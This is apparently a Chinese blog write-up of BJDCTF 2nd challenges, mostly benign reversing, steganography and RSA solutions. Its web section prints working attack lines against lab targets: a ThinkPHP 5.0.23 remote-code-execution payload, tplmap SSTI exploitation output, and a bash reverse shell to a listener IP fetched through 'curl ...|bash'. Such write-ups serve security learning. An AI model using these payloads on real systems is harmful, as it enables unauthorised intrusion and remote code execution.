上次写了篇BJD的WP还没写完 (咕咕咕),这次又参加了BJD 2nd的比赛,又说是新生赛,打死我也不信了 :xinsui: 

言归正传,比上次的题目来说,确实是简单了许多,也多了很多的基础知识

Reverse

本次RE题目量比较少,所以做完后,花了点其他时间做了写WEB、MISC、Crypto

guessgame

签到题

IDA\OD随便什么软件打开都行,连notepad都行,直接就能看到flag

BJD{S1mple_ReV3r5e_W1th_0D_0r_IDA}

8086 ASM

一道8086CPU的汇编题,首先想到运行一下,所以找来了DOS box,但是发现运行之后会死机,可能是代码问题,所以用IDA打开

可以很清楚的看到死机的原因:出题人写了一个死循环,然后把真正的代码部分影藏了起来,在看出题人的出题思路的时候发现出题人出了个坑:

         str1存放的是一个MSDOS格式的以$结尾的经过异或加密的字符串。汇编代码就是把这玩意解密了一下然后syscall输出。jmp loc的死循环就是用来干扰人的。如果想要不劳而获放到DOS里直接跑会死循环。放到IDA里看的话,IDA会把lop下面那段代码当作是数据。需要把他们强转一下成代码才行。

转自出题人的出题思路:https://renjikai.com/bjdctf-2-dreamerjack/

也不知道为什么,我的IDA并没有将loop下面的代码当做数据,所以可以很直接的看出,是将字符串与31做xor运算。

所以本题有两个解题思路,用8086模拟器模拟汇编、或者用脚本做xor

 

[infobox title="Python"]

s = ']U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;'
output = ''
 
for i in s:
    temp = chr(ord(i) ^ 31) 
    output += temp
 
print(output)

[/infobox]

[infobox title="8086模拟器"]

; Standard header:
    #make_COM#
        ORG 100H 
    
; Jump to start:
    JMP START
    
; Data:
msg DB ']U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;',0
  
; Load address of msg to DX register:
START:  LEA DX, msg
	MOV CX, 22h
	lea bx, msg
  
loct:
	mov di, cx
	dec di
	xor byte ptr [bx+di], 31
	loop loct
	lea dx, msg
  
; Print using DOS interrupt:
        MOV AH, 9
        INT 21h
  
; Exit to operating system:
        MOV AH, 4Ch
        INT 21h
[/infobox]

二进制一家亲(diff2)

        这题本来是道PWN题,然后出题人们觉得RE题有点少了,所以把他拿过来改编了一下,在最后3小时内上线的题目

        拿到手需要连接linux,用ssh连接上去后将diff文件下载下来,拉入IDA看程序

         可以看到读取两个文件,将文件内容逐个字节进行比较,当两个字节相等的时候才会继续循环,也就是说输出的字符就是当前flag正确的位数。

         所以解题方法是用脚本爆破,但在做这题的时候,我并没有考虑两个char类型相加会溢出的问题,导致爆破范围很大,而且会出错(还是太菜了)

引用出题人的话:

        一般师傅:char + char = char 没毛病 keer师傅:char + char = 溢出!怼他!

我们知道char型变量占1个字节,相当于unsigned byte,表示范围是0x0-0xff,那么两char相加的范围就是0x0 - 0x1fe ,可是char型只能存储1个字节的数据,因此两char相加产生的进位就会被忽略。举个栗子,0x7d+0x83=0x100->0x0。get到了这一点,再看for循环条件,就能看出些端倪了。

buf2[i] + buf1[i] = 0x100 时会终止for循环,并且返回0。按程序正常的流程走,除非buf1和buf2完全相同,否则不可能返回0,而现在只要buf1和buf2任意位置对应的字节相加等于0x100,compare也会返回0。

返回 0 时程序打印 "一样" 返回值非0时 程序打印 行号

根据不同的返回值,就可以对flag进行逐个字节的爆破了,脚本如下:

#!/usr/bin/python
#__author__:TaQini
from subprocess import *
fix = ''
while 1:
    for i in range(0x100):
        payload = fix+chr(i)
        f = open('/tmp/ktql','w+')
        tmp = f.write(payload)
        f.close()
        p = Popen(['/home/ctf/diff','/tmp/ktql','/home/ctf/flag'],stdout=PIPE)
        res = p.stdout.read()
        if res != '1':
            # print res,chr(0x100-i)
            print fix
            fix+=chr(0x100-i)
            break

WEB

fake google

拿到手是一个类似google的界面,尝试搜索,返回的是搜索的内容,查看源码发现了端倪

提示存在ssti注入,用{{2*2}}检测一下,

发现确实存在ssti注入,用tplmap尝试注入:

python tplmap.py -u http://d38285b4-2b2f-43a3-8ecd-3332973727e6.node3.buuoj.cn/qaq?na
me=123
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                          Run shell on the target
    --os-cmd                            Execute shell commands
    --bind-shell PORT                   Connect to a shell bind to a target port
    --reverse-shell HOST PORT   Send a shell back to the attacker's port
    --upload LOCAL REMOTE       Upload files to the server
    --download REMOTE LOCAL     Download remote files

发现可以直接利用,尝试使用-shell命令,轻松拿到shell,执行cat /flag得到flag

old-hack

打开网页,看到了2000年的黑客风

虽然中二,但给出了一个重要信息,thinkphp5,所以先随便输入一个地址,让他报错,看一下thinkPHP5版本

可以看到版本是5.0.23,用到烂的著名thinkphp漏洞,直接秒杀

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat%20/flag

duangShell

拿到手看到了这样的一段话

how can i give you source code? .swp?!
where is P3rh4ps's girl friend ???

很明显的考点,.swp泄露,将.index.php.swp下载下来,得到源代码

<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."
";
if (!isset(_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {girl = _POST['girl_friend'];
    if (preg_match('/\>|\\\/',girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\/i',girl)) {
        echo "";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

可以看到有密密麻麻的过滤,基本上把用到的全过滤了,看起来只能用反弹shell了,由于buuctf平台限制,不能访问外网,所以尝试去buuctf上开个小号,然后再开个linux做接收

先找到ip地址,然后在小号linux目录的var/www/html里写入shell

bash -i >& /dev/tcp/174.1.117.122/1234 0>&1

然后用 nc -lvp 1234 监听端口

发送post

girl_friend=curl 174.1.117.122/qwe|bash

可以看到已经成功了,但是flag不在根目录下,让我们自己找

用 find / -name flag 找flag,最后发现在/etc/demo/P3rh4ps/love/you/flag下面

MISC

最简单的misc

拿到手是个压缩包,发现是伪加密,用7z直接可以提取

提取后的文件没有后缀名,但用16进制打开,可以在文件末尾处看到png结束符 49454E44,发现缺少了文件头,将文件头 89504E47补上,打开看到一串16进制字符,将它转换为text就可以得到flag

A_Beautiful_Picture

没什么花里胡哨,就是个高度隐写,改个高度就出来了,签到题范畴

小姐姐

也没有什么花里胡哨的玩意,解压后得到一张图片,我就是馋她的身子

直接在010 editor中搜字符串就能找到,出题人对这题很多人没做出来感到奇怪,其实是因为字符串藏得软件没认出来,如果用notepad直接搜索是找不到的QAQ(我就是)

EasyBaBa

得到一张图片,用binwalk查看发现里面藏了个压缩包,提取后得到一张图片,但是打不开,16进制打开发现是个avi,改后缀名后整个影片都在叫爸爸 :huaji23:

中间闪过几张二维码,说实话,这二维码不好扫,废了九牛二虎扫出来了,得到了是16进制字符串,转码得到 agin_ 1ove_ YBJD {im1ng}

应该是棚栏加密,直接解密得BJD{imagin_love_Y1ng}

Real_EasyBaBa

原图是一张图片,老样子binwalk分析,分离得到一个压缩包,但是打不开,用16进制打开,发现压缩包头部被乱改了,将它还原之后得到hint

hint是一个二维码,扫描后得到

od -vtx1 ./draw.png | head -56 | tail -28

很明显的提示,照着做就行,得到:

其实直接把00都去掉就行,我太傻了 :huaji12:

圣火昭昭

拿到一张图

在图片备注中找到新佛曰

新佛曰:諸壽隸僧壽降吽壽諸壽陀壽摩隸僧缽薩願心壽咤壽囉寂壽闍諸壽哆壽慧壽聞壽色吽愍壽所壽蜜如

用这个解密http://hi.pcmoe.net/buddha.html

得到密码:gemlovecom

根据题目提示全靠猜,猜想outguess

然后。。然后出题人忘记把com去了,所以真正的密码是gemlove

./outguess -k gemlove -r sheng_huo_zhao_zhao.jpg -t flag.txt

TARGZ

我认为这是最烦的一题,写脚本花了我4个多小时,是我太菜了

压缩包套娃,改了后缀名,应该是zip的改成了tar.gz,zip密码是压缩包文件名,所以写脚本

# -*- coding:utf-8 -*-
import zipfile
import os

path = r'hW1ES89jF.tar.gz'
# zipfile模块解压一个zip包的基本代码,只需4行即可解压
# 先将目标zip文件进行一次解压,指定解压目录,类似winrar的解压到test_zip\功能
srcfile = zipfile.ZipFile(path)
desdir = path[:path.index('.gz')]
for filename in srcfile.namelist():
    srcfile.extract(filename, desdir,pwd='hW1ES89jF')
    pwds = filename.replace('.tar.gz',"")

while True:
    for root, dirs, files in os.walk(desdir):
        isEnd = True    # 判定是否还存在zip文件的标志位
        for subfile in files:
            if subfile.endswith('.gz'):
                isEnd = False
            subpath = root + '\\' + subfile
            if zipfile.is_zipfile(subpath):
                subsrcfile = zipfile.ZipFile(subpath)
                for subfilename in subsrcfile.namelist():
                    try:
                      subsrcfile.extract(subfilename, root,pwd=pwds)
                      pwds = subfilename.replace('.tar.gz',"")
                    except:
                      break
        if len(dirs) == 0 and not isEnd:
            break
    if isEnd:
        break

套了300次,太可怕了

Crypto

其他题目太简单了,就不写了

rsa0

小学数学水平

e=15905947
p+q=21462327703740740244561065343470720809710455980250406797305582273715405222780258289271498556491520219977832832873691705875176763735095260007040121274161496
p-q=-5129992049379157208353124920219142415722209194709014186920923657199299214807229491868582879752248596382139987866724148919947980052254508410925007837168242
c=12926122630399007094074439334971798368581760269162397095566799613349840135767611585297733270842241971123229833722846395317137446818520999064934504088582688668440481271000144096010833665968074302575879868072928061943734552451455691876806028528290359152463617300110182828163404860323358029327776696684060820995
flag=??????

脚本:

import gmpy2
import binascii

p,q,e = gmpy2.mpz(8166167827180791518103970211625789196994123392770696305192329308258053003986514398701457838369635811797846422503483778477614391841420375798057556718496627),gmpy2.mpz(13296159876559948726457095131844931612716332587479710492113252965457352218793743890570040718121884408179986410370207927397562371893674884208982564555664869),gmpy2.mpz(15905947)

L = (p - 1) * (q - 1)

d = gmpy2.invert(e,L)

c = gmpy2.mpz(12926122630399007094074439334971798368581760269162397095566799613349840135767611585297733270842241971123229833722846395317137446818520999064934504088582688668440481271000144096010833665968074302575879868072928061943734552451455691876806028528290359152463617300110182828163404860323358029327776696684060820995)

N = p * q
ans = pow(c,d,N)
m_hex = hex(ans)[2:]
  
print(ans)
print("十六进制:\n%s"%(m_hex,))
print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))

rsa1

变成初中水平了

e=15999727

p^2+q^2=97649587747379914638878800601061156259638238543154842942442627722422430826494638043776810350635114496671186892678385483017239806757846028638659081719858110869065112384634755951435731459879242778489327929242360852127639025500013482007540203307138841818590031694335865326994147113052508793148420637075487081330

p-q=-92256487602205662062710458510603169513149095168067253254565013050800806400951259336800777392760671457642725550545251551722423158911422773774180275192858

c=28347406441798283566567852058778791195585828474415504411676602476646389535249111849408146286080984784068732179354082777371203723721854588445171422786404472261366235149607126857675070081532942177743337883159009419146085651574545637964493016011746651863449382320662566816845472683850110749587732504882337085949

flag=??????

要解2次方程,不知道是不是非预期解,在重复连接linux后会出现不同的e和c,可以尝试使用同模攻击

 

 


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。